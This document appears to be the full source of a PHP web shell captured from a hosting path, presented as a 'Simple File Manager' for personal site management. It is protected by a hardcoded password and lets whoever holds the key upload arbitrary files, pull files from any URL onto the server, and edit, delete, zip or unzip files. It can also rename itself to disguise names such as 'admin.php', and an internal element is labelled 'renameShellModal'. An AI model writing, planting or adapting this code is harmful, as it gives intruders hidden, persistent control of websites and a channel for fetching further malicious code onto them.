/
home
/
.sites
/
278
/
site976
/
web
/
Upload File
HOME
<?php /** * Simple File Manager * For personal website management */ // ============ الإعدادات ============ define('AUTH_KEY', 'ali!@#123'); // غيّر هذا المفتاح define('MAX_UPLOAD_SIZE', 50 * 1024 * 1024); // 50MB // ============ التحقق من الدخول ============ session_start(); if(!isset($_SESSION['logged_in'])){ if(isset($_POST['auth_key']) && $_POST['auth_key'] === AUTH_KEY){ $_SESSION['logged_in'] = true; header('Location: '.$_SERVER['PHP_SELF']); exit; } ?> <!DOCTYPE html> <html><head><meta charset="UTF-8"><title>Login</title> <style> body{font-family:Arial;background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);height:100vh;display:flex;align-items:center;justify-content:center;margin:0} .login-box{background:#fff;padding:40px;border-radius:10px;box-shadow:0 10px 25px rgba(0,0,0,0.2);width:300px} h2{margin:0 0 20px;color:#333;text-align:center} input[type="password"]{width:100%;padding:12px;border:2px solid #ddd;border-radius:5px;font-size:14px;box-sizing:border-box} input[type="password"]:focus{border-color:#667eea;outline:none} button{width:100%;padding:12px;background:#667eea;color:#fff;border:none;border-radius:5px;font-size:16px;cursor:pointer;margin-top:15px} button:hover{background:#5568d3} </style></head><body> <div class="login-box"> <h2>🔐 File Manager</h2> <form method="POST"> <input type="password" name="auth_key" placeholder="Enter access key" autofocus required> <button type="submit">Login</button> </form> </div> </body></html> <?php exit; } if(isset($_GET['logout'])){ session_destroy(); header('Location: '.$_SERVER['PHP_SELF']); exit; } // ============ المسار الحالي ============ $current_path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd(); if(!$current_path || !is_dir($current_path)) $current_path = getcwd(); $root_path = getcwd(); // منع الوصول خارج المجلد if(strpos($current_path, $root_path) !== 0){ $current_path = $root_path; } // ============ إعادة تسمية الملف الحالي ============ if(isset($_POST['rename_current']) && isset($_POST['new_name'])){ $new_name = basename($_POST['new_name']); if(!preg_match('/\.php$/i', $new_name)) $new_name .= '.php'; $new_path = dirname(__FILE__) . DIRECTORY_SEPARATOR . $new_name; if(@rename(__FILE__, $new_path)){ header('Location: '.$new_name.'?path='.urlencode($current_path).'&msg=renamed'); exit; } } // ============ إنشاء مجلد ============ if(isset($_POST['create_folder']) && isset($_POST['folder_name'])){ $folder_name = basename($_POST['folder_name']); $new_folder = $current_path . DIRECTORY_SEPARATOR . $folder_name; @mkdir($new_folder, 0755, true); header('Location: ?path='.urlencode($current_path).'&msg=folder_created'); exit; } // ============ إنشاء ملف ============ if(isset($_POST['create_file']) && isset($_POST['file_name'])){ $file_name = basename($_POST['file_name']); $new_file = $current_path . DIRECTORY_SEPARATOR . $file_name; @file_put_contents($new_file, ''); header('Location: ?path='.urlencode($current_path).'&msg=file_created'); exit; } // ============ رفع ملفات ============ if(isset($_FILES['upload_files'])){ $success = 0; $failed = 0; foreach($_FILES['upload_files']['tmp_name'] as $key => $tmp){ if($_FILES['upload_files']['error'][$key] === UPLOAD_ERR_OK){ if($_FILES['upload_files']['size'][$key] <= MAX_UPLOAD_SIZE){ $filename = basename($_FILES['upload_files']['name'][$key]); $destination = $current_path . DIRECTORY_SEPARATOR . $filename; if(@move_uploaded_file($tmp, $destination)){ $success++; }else{ $failed++; } }else{ $failed++; } }else{ $failed++; } } header('Location: ?path='.urlencode($current_path).'&msg=uploaded&success='.$success.'&failed='.$failed); exit; } // ============ رفع من URL ============ if(isset($_POST['download_url']) && isset($_POST['url'])){ $url = $_POST['url']; $filename = basename(parse_url($url, PHP_URL_PATH)); if(!$filename) $filename = 'downloaded_'.time().'.file'; $destination = $current_path . DIRECTORY_SEPARATOR . $filename; $content = @file_get_contents($url); if($content !== false){ @file_put_contents($destination, $content); header('Location: ?path='.urlencode($current_path).'&msg=url_downloaded'); exit; } } // ============ حذف ============ if(isset($_GET['delete'])){ $delete_path = realpath($_GET['delete']); if($delete_path && strpos($delete_path, $root_path) === 0){ function delete_recursive($path){ if(is_dir($path)){ foreach(array_diff(scandir($path), ['.','..']) as $item){ delete_recursive($path . DIRECTORY_SEPARATOR . $item); } @rmdir($path); }else{ @unlink($path); } } delete_recursive($delete_path); } header('Location: ?path='.urlencode($current_path).'&msg=deleted'); exit; } // ============ إعادة تسمية ============ if(isset($_POST['rename_from']) && isset($_POST['rename_to'])){ $from = realpath($_POST['rename_from']); $to = dirname($from) . DIRECTORY_SEPARATOR . basename($_POST['rename_to']); if($from && strpos($from, $root_path) === 0){ @rename($from, $to); } header('Location: ?path='.urlencode($current_path).'&msg=renamed'); exit; } // ============ تعديل ملف ============ if(isset($_GET['edit'])){ $edit_file = realpath($_GET['edit']); if($edit_file && is_file($edit_file) && strpos($edit_file, $root_path) === 0){ if(isset($_POST['file_content'])){ @file_put_contents($edit_file, $_POST['file_content']); header('Location: ?path='.urlencode($current_path).'&msg=saved'); exit; } $content = @file_get_contents($edit_file); ?> <!DOCTYPE html> <html><head><meta charset="UTF-8"><title>Edit File</title> <style> body{font-family:Arial;margin:0;padding:20px;background:#f5f5f5} .container{max-width:1200px;margin:0 auto;background:#fff;padding:20px;border-radius:8px;box-shadow:0 2px 4px rgba(0,0,0,0.1)} h3{margin:0 0 15px;color:#333} textarea{width:100%;height:500px;font-family:'Courier New',monospace;font-size:13px;padding:10px;border:1px solid #ddd;border-radius:4px;box-sizing:border-box} .btn{padding:10px 20px;background:#667eea;color:#fff;border:none;border-radius:5px;cursor:pointer;text-decoration:none;display:inline-block;margin-right:10px} .btn:hover{background:#5568d3} .btn-secondary{background:#6c757d} .btn-secondary:hover{background:#5a6268} </style></head><body> <div class="container"> <h3>📝 Edit: <?php echo htmlspecialchars(basename($edit_file)); ?></h3> <form method="POST"> <textarea name="file_content"><?php echo htmlspecialchars($content); ?></textarea><br> <button type="submit" class="btn">💾 Save</button> <a href="?path=<?php echo urlencode($current_path); ?>" class="btn btn-secondary">Cancel</a> </form> </div> </body></html> <?php exit; } } // ============ عرض ملف ============ if(isset($_GET['view'])){ $view_file = realpath($_GET['view']); if($view_file && is_file($view_file) && strpos($view_file, $root_path) === 0){ $content = @file_get_contents($view_file); echo '<pre style="background:#2d2d2d;color:#f8f8f2;padding:20px;overflow:auto;border-radius:8px">'.htmlspecialchars($content).'</pre>'; echo '<br><a href="?path='.urlencode($current_path).'" style="color:#667eea">← Back</a>'; exit; } } // ============ تحميل ملف ============ if(isset($_GET['download'])){ $download_file = realpath($_GET['download']); if($download_file && is_file($download_file) && strpos($download_file, $root_path) === 0){ header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($download_file).'"'); header('Content-Length: '.filesize($download_file)); readfile($download_file); exit; } } // ============ ضغط مجلد ============ if(isset($_GET['zip_folder'])){ $zip_folder = realpath($_GET['zip_folder']); if($zip_folder && is_dir($zip_folder) && strpos($zip_folder, $root_path) === 0 && class_exists('ZipArchive')){ $zip_name = basename($zip_folder).'_'.date('Ymd_His').'.zip'; $zip_path = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zip_name; $zip = new ZipArchive(); if($zip->open($zip_path, ZipArchive::CREATE) === TRUE){ $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($zip_folder, FilesystemIterator::SKIP_DOTS) ); foreach($iterator as $file){ $file_path = $file->getPathname(); $relative_path = substr($file_path, strlen($zip_folder) + 1); if($file->isDir()){ $zip->addEmptyDir($relative_path); }else{ $zip->addFile($file_path, $relative_path); } } $zip->close(); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="'.$zip_name.'"'); header('Content-Length: '.filesize($zip_path)); readfile($zip_path); @unlink($zip_path); exit; } } } // ============ فك ضغط ============ if(isset($_POST['unzip_file'])){ $zip_file = realpath($_POST['unzip_file']); if($zip_file && is_file($zip_file) && strpos($zip_file, $root_path) === 0 && class_exists('ZipArchive')){ $zip = new ZipArchive(); if($zip->open($zip_file) === TRUE){ $zip->extractTo(dirname($zip_file)); $zip->close(); } } header('Location: ?path='.urlencode($current_path).'&msg=unzipped'); exit; } // ============ قراءة الملفات ============ $files = []; $dirs = []; if($handle = @opendir($current_path)){ while(($item = readdir($handle)) !== false){ if($item === '.') continue; $item_path = $current_path . DIRECTORY_SEPARATOR . $item; $item_info = [ 'name' => $item, 'path' => $item_path, 'is_dir' => is_dir($item_path), 'size' => is_file($item_path) ? filesize($item_path) : 0, 'modified' => @filemtime($item_path), 'perms' => substr(sprintf('%o', @fileperms($item_path)), -4) ]; if($item_info['is_dir']){ $dirs[] = $item_info; }else{ $files[] = $item_info; } } closedir($handle); } // ترتيب usort($dirs, function($a, $b){ return strcasecmp($a['name'], $b['name']); }); usort($files, function($a, $b){ return strcasecmp($a['name'], $b['name']); }); $all_items = array_merge($dirs, $files); // تحويل الحجم function format_size($bytes){ if($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; if($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; if($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; return $bytes . ' B'; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Manager</title> <style> *{margin:0;padding:0;box-sizing:border-box} body{font-family:'Segoe UI',Arial,sans-serif;background:#f8f9fa;color:#212529;padding:20px} .container{max-width:1400px;margin:0 auto} .header{background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);padding:20px;border-radius:10px;color:#fff;margin-bottom:20px;box-shadow:0 4px 6px rgba(0,0,0,0.1)} .header h1{font-size:24px;margin-bottom:10px} .path-bar{background:#fff;padding:15px;border-radius:8px;margin-bottom:20px;box-shadow:0 2px 4px rgba(0,0,0,0.05);display:flex;align-items:center;flex-wrap:wrap;gap:10px} .path-bar strong{color:#667eea} .toolbar{background:#fff;padding:15px;border-radius:8px;margin-bottom:20px;box-shadow:0 2px 4px rgba(0,0,0,0.05)} .btn{padding:8px 16px;background:#667eea;color:#fff;border:none;border-radius:5px;cursor:pointer;text-decoration:none;display:inline-block;margin:5px;font-size:14px;transition:all 0.3s} .btn:hover{background:#5568d3;transform:translateY(-1px)} .btn-success{background:#28a745} .btn-success:hover{background:#218838} .btn-danger{background:#dc3545} .btn-danger:hover{background:#c82333} .btn-warning{background:#ffc107;color:#000} .btn-warning:hover{background:#e0a800} .btn-info{background:#17a2b8} .btn-info:hover{background:#138496} .btn-secondary{background:#6c757d} .btn-secondary:hover{background:#5a6268} .upload-zone{border:2px dashed #667eea;padding:40px;text-align:center;border-radius:8px;background:#f8f9ff;cursor:pointer;margin:15px 0;transition:all 0.3s} .upload-zone:hover,.upload-zone.dragover{background:#e8ebff;border-color:#5568d3} .upload-zone p{margin:10px 0;color:#666} table{width:100%;background:#fff;border-radius:8px;overflow:hidden;box-shadow:0 2px 4px rgba(0,0,0,0.05)} thead{background:#f8f9fa} th,td{padding:12px;text-align:left;border-bottom:1px solid #e9ecef} th{font-weight:600;color:#495057} tr:hover{background:#f8f9fa} .file-icon{font-size:20px;margin-right:8px} .modal{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.5);z-index:1000;align-items:center;justify-content:center} .modal.active{display:flex} .modal-content{background:#fff;padding:30px;border-radius:10px;max-width:500px;width:90%;box-shadow:0 10px 25px rgba(0,0,0,0.2)} .modal-content h3{margin-bottom:20px;color:#333} .modal-content input[type="text"],.modal-content input[type="url"]{width:100%;padding:10px;border:2px solid #ddd;border-radius:5px;margin:10px 0;font-size:14px} .modal-content input:focus{border-color:#667eea;outline:none} .close-modal{float:right;font-size:24px;cursor:pointer;color:#999} .close-modal:hover{color:#000} .msg{padding:12px 20px;border-radius:8px;margin-bottom:20px;font-weight:500} .msg-success{background:#d4edda;color:#155724;border-left:4px solid #28a745} .msg-error{background:#f8d7da;color:#721c24;border-left:4px solid #dc3545} .msg-info{background:#d1ecf1;color:#0c5460;border-left:4px solid#17a2b8} input[type="file"]{display:none} .action-btns{white-space:nowrap} .action-btns a,.action-btns button{font-size:12px;padding:5px 10px;margin:2px} </style> </head> <body> <div class="container"> <div class="header"> <h1>📁 File Manager</h1> <p>Manage your website files easily</p> <a href="?logout=1" style="color:#fff;float:right;text-decoration:underline;font-size:14px">Logout</a> </div> <?php // رسائل if(isset($_GET['msg'])){ $msg_class = 'msg-success'; $msg_text = ''; switch($_GET['msg']){ case 'renamed': $msg_text = '✔ Renamed successfully!'; break; case 'uploaded': $s = $_GET['success'] ?? 0; $f = $_GET['failed'] ?? 0; $msg_text = "✔ Uploaded: {$s} file(s) | Failed: {$f}"; break; case 'url_downloaded': $msg_text = '✔ File downloaded from URL!'; break; case 'folder_created': $msg_text = '✔ Folder created!'; break; case 'file_created': $msg_text = '✔ File created!'; break; case 'deleted': $msg_text = '✔ Deleted successfully!'; break; case 'saved': $msg_text = '✔ File saved!'; break; case 'unzipped': $msg_text = '✔ File unzipped!'; break; } if($msg_text) echo '<div class="msg '.$msg_class.'">'.$msg_text.'</div>'; } ?> <div class="path-bar"> <strong>📂 Current Path:</strong> <span><?php echo htmlspecialchars($current_path); ?></span> <?php if($current_path !== $root_path): ?> <a href="?path=<?php echo urlencode(dirname($current_path)); ?>" class="btn btn-secondary" style="margin-left:auto">⬆️ Up</a> <?php endif; ?> </div> <div class="toolbar"> <button onclick="openModal('createFolderModal')" class="btn btn-success">📁 New Folder</button> <button onclick="openModal('createFileModal')" class="btn btn-success">📄 New File</button> <button onclick="openModal('uploadModal')" class="btn btn-primary">📤 Upload Files</button> <button onclick="openModal('urlModal')" class="btn btn-info">🌐 Download from URL</button> <button onclick="openModal('renameShellModal')" class="btn btn-warning">🔧 Rename This Manager</button> </div> <table> <thead> <tr> <th>Name</th> <th>Size</th> <th>Modified</th> <th>Permissions</th> <th>Actions</th> </tr> </thead> <tbody> <?php foreach($all_items as $item): ?> <tr> <td> <span class="file-icon"><?php echo $item['is_dir'] ? '📁' : '📄'; ?></span> <?php if($item['is_dir']): ?> <a href="?path=<?php echo urlencode($item['path']); ?>" style="color:#667eea;text-decoration:none;font-weight:500"> <?php echo htmlspecialchars($item['name']); ?> </a> <?php else: ?> <?php echo htmlspecialchars($item['name']); ?> <?php endif; ?> </td> <td><?php echo $item['is_dir'] ? '-' : format_size($item['size']); ?></td> <td><?php echo date('Y-m-d H:i', $item['modified']); ?></td> <td><?php echo $item['perms']; ?></td> <td class="action-btns"> <?php if(!$item['is_dir']): ?> <a href="?edit=<?php echo urlencode($item['path']); ?>" class="btn btn-warning">✏️</a> <a href="?view=<?php echo urlencode($item['path']); ?>" class="btn btn-info" target="_blank">👁️</a> <a href="?download=<?php echo urlencode($item['path']); ?>" class="btn btn-primary">⬇️</a> <?php if(strtolower(pathinfo($item['name'], PATHINFO_EXTENSION)) === 'zip'): ?> <form method="POST" style="display:inline"> <input type="hidden" name="unzip_file" value="<?php echo htmlspecialchars($item['path']); ?>"> <button type="submit" class="btn btn-success">📦</button> </form> <?php endif; ?> <?php else: ?> <a href="?zip_folder=<?php echo urlencode($item['path']); ?>" class="btn btn-warning">🗜️</a> <?php endif; ?> <button onclick="renameItem('<?php echo addslashes($item['path']); ?>', '<?php echo addslashes($item['name']); ?>')" class="btn btn-info">✏️</button> <a href="?delete=<?php echo urlencode($item['path']); ?>" class="btn btn-danger" onclick="return confirm('Delete <?php echo addslashes($item['name']); ?>?')">🗑️</a> </td> </tr> <?php endforeach; ?> <?php if(empty($all_items)): ?> <tr><td colspan="5" style="text-align:center;color:#999;padding:30px">📭 Empty folder</td></tr> <?php endif; ?> </tbody> </table> </div> <!-- Modals --> <div id="createFolderModal" class="modal"> <div class="modal-content"> <span class="close-modal" onclick="closeModal('createFolderModal')">×</span> <h3>📁 Create New Folder</h3> <form method="POST"> <input type="hidden" name="create_folder" value="1"> <input type="text" name="folder_name" placeholder="Folder name" required autofocus> <button type="submit" class="btn btn-success">Create</button> <button type="button" class="btn btn-secondary" onclick="closeModal('createFolderModal')">Cancel</button> </form> </div> </div> <div id="createFileModal" class="modal"> <div class="modal-content"> <span class="close-modal" onclick="closeModal('createFileModal')">×</span> <h3>📄 Create New File</h3> <form method="POST"> <input type="hidden" name="create_file" value="1"> <input type="text" name="file_name" placeholder="File name (e.g., index.php)" required autofocus> <button type="submit" class="btn btn-success">Create</button> <button type="button" class="btn btn-secondary" onclick="closeModal('createFileModal')">Cancel</button> </form> </div> </div> <div id="uploadModal" class="modal"> <div class="modal-content"> <span class="close-modal" onclick="closeModal('uploadModal')">×</span> <h3>📤 Upload Files</h3> <form method="POST" enctype="multipart/form-data" id="uploadForm"> <div class="upload-zone" id="dropZone" onclick="document.getElementById('fileInput').click()"> <p style="font-size:48px">📤</p> <p><strong>Drag & Drop files here</strong></p> <p style="font-size:14px;color:#999">or click to browse</p> <input type="file" name="upload_files[]" id="fileInput" multiple> </div> <div id="fileList" style="margin:15px 0;color:#666"></div> <button type="submit" class="btn btn-primary" id="uploadBtn" style="display:none">Upload</button> <button type="button" class="btn btn-secondary" onclick="closeModal('uploadModal')">Cancel</button> </form> </div> </div> <div id="urlModal" class="modal"> <div class="modal-content"> <span class="close-modal" onclick="closeModal('urlModal')">×</span> <h3>🌐 Download from URL</h3> <form method="POST"> <input type="hidden" name="download_url" value="1"> <input type="url" name="url" placeholder="https://example.com/file.zip" required autofocus> <button type="submit" class="btn btn-primary">Download</button> <button type="button" class="btn btn-secondary" onclick="closeModal('urlModal')">Cancel</button> </form> </div> </div> <div id="renameShellModal" class="modal"> <div class="modal-content"> <span class="close-modal" onclick="closeModal('renameShellModal')">×</span> <h3>🔧 Rename File Manager</h3> <form method="POST"> <input type="hidden" name="rename_current" value="1"> <p style="margin-bottom:10px">Current: <strong><?php echo htmlspecialchars(basename(__FILE__)); ?></strong></p> <input type="text" name="new_name" placeholder="New name (e.g., admin.php)" required> <p style="font-size:12px;color:#999;margin:10px 0">⚠️ You'll be redirected to the new filename</p> <button type="submit" class="btn btn-warning">Rename</button> <button type="button" class="btn btn-secondary" onclick="closeModal('renameShellModal')">Cancel</button> </form> </div> </div> <div id="renameModal" class="modal"> <div class="modal-content"> <span class="close-modal" onclick="closeModal('renameModal')">×</span> <h3>✏️ Rename</h3> <form method="POST"> <input type="hidden" name="rename_from" id="renameFrom"> <input type="text" name="rename_to" id="renameTo" placeholder="New name" required> <button type="submit" class="btn btn-primary">Rename</button> <button type="button" class="btn btn-secondary" onclick="closeModal('renameModal')">Cancel</button> </form> </div> </div> <script> function openModal(id){document.getElementById(id).classList.add('active')} function closeModal(id){document.getElementById(id).classList.remove('active')} function renameItem(path,name){ document.getElementById('renameFrom').value=path; document.getElementById('renameTo').value=name; openModal('renameModal'); } // Drag & Drop const dropZone=document.getElementById('dropZone'); const fileInput=document.getElementById('fileInput'); const fileList=document.getElementById('fileList'); const uploadBtn=document.getElementById('uploadBtn'); ['dragenter','dragover','dragleave','drop'].forEach(e=>{ dropZone.addEventListener(e,ev=>{ev.preventDefault();ev.stopPropagation()}); }); ['dragenter','dragover'].forEach(e=>{ dropZone.addEventListener(e,()=>dropZone.classList.add('dragover')); }); ['dragleave','drop'].forEach(e=>{ dropZone.addEventListener(e,()=>dropZone.classList.remove('dragover')); }); dropZone.addEventListener('drop',e=>{ fileInput.files=e.dataTransfer.files; showFiles(fileInput.files); }); fileInput.addEventListener('change',()=>showFiles(fileInput.files)); function showFiles(files){ if(files.length>0){ let names=[]; for(let f of files)names.push(f.name); fileList.innerHTML='<strong>Selected:</strong> '+names.join(', '); uploadBtn.style.display='inline-block'; } } // Close modal on outside click window.onclick=function(e){ if(e.target.classList.contains('modal')){ e.target.classList.remove('active'); } } </script> </body> </html>